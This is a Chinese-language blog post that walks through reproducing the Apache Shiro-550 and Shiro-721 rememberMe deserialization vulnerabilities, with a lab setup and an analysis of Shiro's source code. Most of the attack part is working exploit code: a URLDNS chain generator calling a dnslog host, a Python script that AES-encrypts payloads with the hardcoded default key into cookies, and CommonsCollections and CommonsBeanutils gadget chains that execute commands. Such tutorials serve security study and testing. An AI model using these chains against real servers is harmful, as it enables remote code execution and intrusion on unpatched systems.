shiro框架漏洞

Apache Shiro

Apache Shiro 是⼀个功能强⼤且易于使⽤的 Java 安全框架,它⽤于处理身份验证,授权,加密和会话
管理
在默认情况下 , Apache Shiro 使⽤ CookieRememberMeManager 对⽤户身份进⾏序列化/反序列化 , 加
密/解密和编码/解码 , 以供以后检索 .
因此 , 当 Apache Shiro 接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份.
从请求数据包中提取 Cookie 中 rememberMe 字段的值,对提取的 Cookie 值进⾏ Base64 解码,对
Base64 解码后的值进⾏ AES 解密,对解密后的字节数组调⽤ ObjectInputStream.readObject() ⽅法来
反序列化.
但是默认AES加密密钥是 “硬编码” 在代码中的 . 因此 , 如果服务端采⽤默认加密密钥 , 那么攻击者就可以
构造⼀个恶意对象 , 并对其进⾏序列化 , AES加密 , Base64编码 , 将其作为 Cookie 中 rememberMe 字段
值发送 . Apache Shiro 在接收到请求时会反序列化恶意对象 , 从⽽执⾏攻击者指定的任意代码 .
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产⽣原因是因为shiro接受了Cookie⾥⾯rememberMe
的值,然后去进⾏Base64解密后,再使⽤aes密钥解密后的数据,进⾏反序列化。
构造该值为⼀个利⽤链序列化后的值进⾏该密钥aes加密后进⾏base64加密,反序列化payload内容后就
可以命令执⾏。

shiro550 shiro <1.2.4漏洞复现

环境搭建
shiro下载 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
环境 tomcat 8.5
jdk版本 1.8.0.65
idea 2021
⽤idea开 shiro-shiro-root-1.2.4\samples 设置⼀下pox.xml maven更新包
修改pom.xml 修改⼀下版本

 <dependency>            <groupId>javax.servlet</groupId>            <artifactId>jstl</artifactId>            <version>1.2</version>            <scope>runtime</scope>        </dependency>

如果测试cc3依赖可以添加

 <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>

如果测试cc4

<dependency>    <groupId>org.apache.commons</groupId>    <artifactId>commons-collections4</artifactId>    <version>4.1</version> </dependency>

当前测试测试环境pom.xml

<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>run.ergou</groupId>    <artifactId>JavaSec</artifactId>    <version>1.0-SNAPSHOT</version>    <dependencies>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>        <!--LDAP Server 提供内存⽬录服务-->        <dependency>            <groupId>com.unboundid</groupId>            <artifactId>unboundid-ldapsdk</artifactId>            <version>4.0.9</version>        </dependency>        <!--Log4j-->        <dependency>            <groupId>org.apache.logging.log4j</groupId>            <artifactId>log4j-api</artifactId>            <version>2.14.1</version>        </dependency>        <dependency>            <groupId>org.apache.logging.log4j</groupId>            <artifactId>log4j-core</artifactId>            <version>2.14.1</version>        </dependency>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.20.0-GA</version>        </dependency>        <dependency>            <groupId>commons-beanutils</groupId>            <artifactId>commons-beanutils</artifactId>            <version>1.8.3</version>   </dependency>        <!--JNDI⾼版本限制绕过-加载本地类-->        <dependency>            <groupId>org.apache.tomcat</groupId>            <artifactId>tomcat-jasper-el</artifactId>            <version>8.5.0</version>        </dependency>        <dependency>            <groupId>org.apache.tomcat</groupId>            <artifactId>tomcat-catalina</artifactId>            <version>8.5.0</version>        </dependency>    </dependencies>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>    </properties> </project>

接着添加tomcat


接着启动tomcat即可

1.漏洞分析

shiro默认使⽤了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然⽽AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修
改默认的密钥,就⾃⼰可以⽣成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是
之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会
有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2.代码分析

代码分析 ⾸先找到 org/apache/shiro/web/mgt/CookieRememberMeManager.java

public class CookieRememberMeManager extends AbstractRememberMeManager {    //TODO - complete JavaDoc    private static transient final Logger log = LoggerFactory.getLogger(CookieRememberMeManager.class);    /**     * The default name of the underlying rememberMe cookie which is {@code rememberMe}.     */    public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe";    private Cookie cookie;    /**     * Constructs a new {@code CookieRememberMeManager} with a default {@code rememberMe} cookie template.     */    public CookieRememberMeManager() {        Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);        cookie.setHttpOnly(true);        //One year should be long enough - most sites won't object to requiring a user to log in if they haven't visited        //in a year:        cookie.setMaxAge(Cookie.ONE_YEAR);        this.cookie = cookie;   }    /**     * Returns the cookie 'template' that will be used to set all attributes of outgoing rememberMe cookies created by     * this {@code RememberMeManager}. Outgoing cookies will match this one except for the     * {@link Cookie#getValue() value} attribute, which is necessarily set dynamically at runtime.     * <p/>     * Please see the class-level JavaDoc for the default cookie's attribute values.     *     * @return the cookie 'template' that will be used to set all attributes of outgoing rememberMe cookies created by     *         this {@code RememberMeManager}.   */    public Cookie getCookie() {        return cookie;   }    /**     * Sets the cookie 'template' that will be used to set all attributes of outgoing rememberMe cookies created by     * this {@code RememberMeManager}. Outgoing cookies will match this one except for the     * {@link Cookie#getValue() value} attribute, which is necessarily set dynamically at runtime.     * <p/>     * Please see the class-level JavaDoc for the default cookie's attribute values.     *     * @param cookie the cookie 'template' that will be used to set all attributes of outgoing rememberMe cookies created     *               by this {@code RememberMeManager}.     */    @SuppressWarnings({"UnusedDeclaration"})    public void setCookie(Cookie cookie) {        this.cookie = cookie;   }    /**     * Base64-encodes the specified serialized byte array and sets that base64-encoded String as the cookie value.     * <p/>     * The {@code subject} instance is expected to be a {@link WebSubject} instance with an HTTP Request/Response pair     * so an HTTP cookie can be set on the outgoing response. If it is not a {@code WebSubject} or that     * {@code WebSubject} does not have an HTTP Request/Response pair, this implementation does nothing.     *     * @param subject   the Subject for which the identity is being serialized.     * @param serialized the serialized bytes to be persisted.     */    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {        if (!WebUtils.isHttp(subject)) {            if (log.isDebugEnabled()) {                String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +  "request and response in order to set the rememberMe cookie. Returning immediately and " +                        "ignoring rememberMe operation.";                log.debug(msg);           }            return;       }        HttpServletRequest request = WebUtils.getHttpRequest(subject);        HttpServletResponse response = WebUtils.getHttpResponse(subject);        //base 64 encode it and store as a cookie:        String base64 = Base64.encodeToString(serialized);        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies        Cookie cookie = new SimpleCookie(template);        cookie.setValue(base64);        cookie.saveTo(request, response);   }    private boolean isIdentityRemoved(WebSubjectContext subjectContext) {        ServletRequest request = subjectContext.resolveServletRequest();        if (request != null) {            Boolean removed = (Boolean) request.getAttribute(ShiroHttpServletRequest.IDENTITY_REMOVED_KEY);            return removed != null && removed;       }        return false;   }    /**     * Returns a previously serialized identity byte array or {@code null} if the byte array could not be acquired.     * This implementation retrieves an HTTP cookie, Base64-decodes the cookie value, and returns the resulting byte     * array.     * <p/>     * The {@code SubjectContext} instance is expected to be a {@link WebSubjectContext} instance with an HTTP     * Request/Response pair so an HTTP cookie can be retrieved from the incoming request. If it is not a     * {@code WebSubjectContext} or that {@code WebSubjectContext} does not have an HTTP Request/Response pair, this * implementation returns {@code null}.     *     * @param subjectContext the contextual data, usually provided by a {@link Subject.Builder} implementation, that     *                       is being used to construct a {@link Subject} instance. To be used to assist with data     *                       lookup.     * @return a previously serialized identity byte array or {@code null} if the byte array could not be acquired.     */    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {        if (!WebUtils.isHttp(subjectContext)) {            if (log.isDebugEnabled()) {                String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +                        "immediately and ignoring rememberMe operation.";                log.debug(msg);           }            return null;       }        WebSubjectContext wsc = (WebSubjectContext) subjectContext;        if (isIdentityRemoved(wsc)) {            return null;       }        HttpServletRequest request = WebUtils.getHttpRequest(wsc);        HttpServletResponse response = WebUtils.getHttpResponse(wsc);        String base64 = getCookie().readValue(request, response);        // Browsers do not always remove cookies immediately (SHIRO-183)        // ignore cookies that are scheduled for removal        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;        if (base64 != null) {            base64 = ensurePadding(base64);            if (log.isTraceEnabled()) {                log.trace("Acquired Base64 encoded identity [" + base64 + "]");           }            byte[] decoded = Base64.decode(base64);            if (log.isTraceEnabled()) {  log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");           }            return decoded;       } else {            //no cookie set - new site visitor?            return null;       }   }

找到 getRememberedSerializedIdentity⽅法

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {        if (!WebUtils.isHttp(subjectContext)) {            if (log.isDebugEnabled()) {                String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +                        "immediately and ignoring rememberMe operation.";                log.debug(msg);           }            return null;       }        WebSubjectContext wsc = (WebSubjectContext) subjectContext;        if (isIdentityRemoved(wsc)) {            return null;       }        HttpServletRequest request = WebUtils.getHttpRequest(wsc);        HttpServletResponse response = WebUtils.getHttpResponse(wsc);        String base64 = getCookie().readValue(request, response);        // Browsers do not always remove cookies immediately (SHIRO-183)        // ignore cookies that are scheduled for removal        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;        if (base64 != null) {            base64 = ensurePadding(base64);            if (log.isTraceEnabled()) {                log.trace("Acquired Base64 encoded identity [" + base64 + "]");           }            byte[] decoded = Base64.decode(base64); //这⾥需要base64解码            if (log.isTraceEnabled()) {                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");           }            return decoded;       } else {            //no cookie set - new site visitor?            return null;       }   }

从代码上看到返回的是 base64解码之后的内容 接着寻找调⽤处

org/apache/shiro/mgt/AbstractRememberMeManager.java

 public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {        PrincipalCollection principals = null;        try {            byte[] bytes = getRememberedSerializedIdentity(subjectContext);            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:            if (bytes != null && bytes.length > 0) {                principals = convertBytesToPrincipals(bytes, subjectContext);           }       } catch (RuntimeException re) {            principals = onRememberedPrincipalFailure(re, subjectContext);       }        return principals;   }

convertBytesToPrincipals

 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);       }        return deserialize(bytes);   }

bytes = decrypt(bytes)的内容等会再看 现在 进⼊ deserialize

 protected PrincipalCollection deserialize(byte[] serializedIdentity) {        return getSerializer().deserialize(serializedIdentity);   }

进⼊ deserialize 发现是⼀个接⼝ 接着寻找实现接⼝的类
org/apache/shiro/io/DefaultSerializer.java

 public T deserialize(byte[] serialized) throws SerializationException {        if (serialized == null) {            String msg = "argument cannot be null.";            throw new IllegalArgumentException(msg);       }        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);        BufferedInputStream bis = new BufferedInputStream(bais);        try {            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);            @SuppressWarnings({"unchecked"})            T deserialized = (T) ois.readObject();            ois.close();            return deserialized;       } catch (Exception e) {            String msg = "Unable to deserialze argument byte array.";            throw new SerializationException(msg, e);       }   }

发现调⽤原⽣的 T deserialized = (T) ois.readObject(); 导致存在反序列化漏洞
既然是硬编码反序列化漏洞 继续寻找 跟进 decrypt

 protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {        if (getCipherService() != null) {            bytes = decrypt(bytes);       }        return deserialize(bytes);   }
   protected byte[] decrypt(byte[] encrypted) {        byte[] serialized = encrypted;        CipherService cipherService = getCipherService();        if (cipherService != null) {            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());            serialized = byteSource.getBytes();       }        return serialized;   }

getCipherService() 这⾥是获取密钥服务 加密⽅法是aes 跟进 decrypt getDecryptionCipherKey()

public byte[] getDecryptionCipherKey() {        return decryptionCipherKey;   }

点击跟进 decryptionCipherKey 是⼀个私有字段 寻找赋值的地⽅

private byte[] encryptionCipherKey;

org/apache/shiro/mgt/AbstractRememberMeManager.java

 public void setEncryptionCipherKey(byte[] encryptionCipherKey) {        this.encryptionCipherKey = encryptionCipherKey;   }

寻找 setEncryptionCipherKey调⽤
org/apache/shiro/mgt/AbstractRememberMeManager.java

 public void setCipherKey(byte[] cipherKey) {        //Since this method should only be used in symmetric ciphers        //(where the enc and dec keys are the same), set it on both:        setEncryptionCipherKey(cipherKey);        setDecryptionCipherKey(cipherKey);   }

接着setCipherKey调⽤

public AbstractRememberMeManager() {        this.serializer = new DefaultSerializer<PrincipalCollection>();        this.cipherService = new AesCipherService();        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);   }

发现 DEFAULT_CIPHER_KEY_BYTES是⼀个常量

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

kPH+bIxk5D2deZiIxcaaaA== 这个值就是shiro加密的硬编码

3.漏洞测试

⼀般测试都是⽤jdk原⽣态的URLDNS链

package shiro; import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class Urldns {    public static void main(String[] args) throws Exception {                /*        利⽤链:            ObjectInputStream#readObject() -> HashMap.readObject(ObjectInputStream in)            HashMap -> hash()            URL -> hashCode()            URLStreamHandler -> hashCode()            URLStreamHandler -> getHostAddress()            URL -> getHostAddress()            InetAddress -> getByName()         */        HashMap hashMap = new HashMap();        URL url = new URL("http://shiro.677jye.dnslog.cn");        /*        URL:            private int hashCode = -1;            public synchronized int hashCode() {                if (hashCode != -1)                    return hashCode;                hashCode = handler.hashCode(this);                return hashCode;            }        HashMap.put()和本利⽤链都会执⾏⾄URL.hashCode()        */        Field hashCodeField = url.getClass().getDeclaredField("hashCode");        hashCodeField.setAccessible(true);        // 阻⽌创建payload时触发请求        hashCodeField.set(url, 0);        hashMap.put(url, null); // 使利⽤链执⾏时能够触发请求        hashCodeField.set(url, -1);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("ser.bin")));        oos.writeObject(hashMap);        oos.close();   }     }

接着⽤脚本进⾏加密 kPH+bIxk5D2deZiIxcaaaA==这个编码⼀定对应。

import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def get_file(name):    with open(name,'rb') as f:        data = f.read()    return data def en_aes(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")    iv = uuid.uuid4().bytes    encryptor = AES.new(key, AES.MODE_CBC, iv)    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return base64_ciphertext if __name__ == '__main__':    data = get_file("ser.bin")    print(en_aes(data))

登录⽬标上勾上 Remember Me

4.深⼊利⽤

由于Shrio对resolveClass进⾏了修改,导致数组类⽆法加载,因此原⽣的cc链是⽆法直接使⽤的

cc链

package shiro; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class cc {    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException { // 通过字节码构建恶意类        ClassPool classPool= ClassPool.getDefault();        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.Abstrac tTranslet";        classPool.appendClassPath(AbstractTranslet);        CtClass payload=classPool.makeClass("CommonsCollections3");        payload.setSuperclass(classPool.get(AbstractTranslet));       payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e xec(\"calc\");");        byte[] bytes=payload.toBytecode(); //CC3        TemplatesImpl templates = new TemplatesImpl();      // TemplatesImpl templates = new TemplatesImpl();        Class<? extends TemplatesImpl> aClass = templates.getClass();        Field nameField = aClass.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates,"aaaa");        Field bytecodesField = aClass.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);        bytecodesField.set(templates,new byte[][]{bytes}); //CC2  InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); //CC6        HashMap<Object, Object> map = new HashMap<>();        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);        HashMap<Object, Object> map2 = new HashMap<>();        map2.put(tiedMapEntry,"bbb");        lazyMap.remove(templates);        Class<LazyMap> c = LazyMap.class;        Field factoryField = c.getDeclaredField("factory");        factoryField.setAccessible(true);        factoryField.set(lazyMap,invokerTransformer);        serialize(map2);   }    public static void serialize(Object obj) throws IOException, ClassNotFoundException {        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));        objectOutputStream.writeObject(obj);        objectOutputStream.close();        unserialize("test.out");   }    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));        Object object = objectInputStream.readObject();        return object;   } }

commons-beanutils cb 链⽆依赖利⽤链

package shiro; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CB1 {    // 修改值的⽅法,简化代码    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{        Field field = object.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(object, value);   }    public static void main(String[] args) throws Exception {        // 创建恶意类,⽤于报错抛出调⽤链        ClassPool pool = ClassPool.getDefault();        CtClass payload = pool.makeClass("EvilClass");       payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc. runtime.AbstractTranslet"));        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();"); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e xec(\"calc\");");        byte[] evilClass = payload.toBytecode();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});        setFieldValue(templates, "_name", "test");        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);        queue.add("1");        queue.add("1");        setFieldValue(beanComparator, "property", "outputProperties");        setFieldValue(queue, "queue", new Object[]{templates, templates});        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));        out.writeObject(queue);        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));        in.readObject();   } }

shiro721 CVE-2019-12422 漏洞详细

这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录
后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只
要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。
Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式

1.漏洞详细

shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽
cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标
含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。
下⾯会有单独的篇幅讲Padding Oracle Attack。

影响版本:

1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

详细 说明 参考 https://blog.csdn.net/qq_41874930/article/details/121314926 这个⾯试的时候经常
也是考点。

2.漏洞测试

⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个
⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏
洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。


__EOF__

本文作者许公子Ray
本文链接https://www.cnblogs.com/rayob1/p/16816124.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Ray言午  阅读(548)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示